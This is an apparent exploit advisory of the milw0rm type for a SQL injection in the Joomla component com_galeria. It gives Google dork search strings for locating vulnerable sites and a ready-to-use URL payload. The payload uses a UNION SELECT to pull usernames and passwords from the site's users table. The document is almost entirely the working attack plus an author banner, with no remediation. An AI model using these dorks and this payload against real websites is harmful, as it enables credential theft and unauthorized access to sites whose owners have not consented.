Joomla Component com_galeria Remote SQL Injection Vulnerability

############################################################### # # joomla SQL Injection(com_galeria) # ############################################################### # # AUTHOR : S@BUN # # HOME : http://www.milw0rm.com/author/1334 # # MA陌L : hackturkiye.hackturkiye@gmail.com # ################################################################ # # DORK 1 : allinurl: "com_galeria" # # DORK 2 : allinurl: id "com_galeria" # ################################################################ EXPLOIT : index.php?option=com_galeria&Itemid=S@BUN&func=detail&id=-999999/**/union/**/select/**/0,0,password,111,222,333,0,0,0,0,0,1,1,1,1,1,1,444,555,666,username/**/from/**/users/* ################################################################ # S@BUN i AM NOT HACKER S@BUN ################################################################ # sebug.net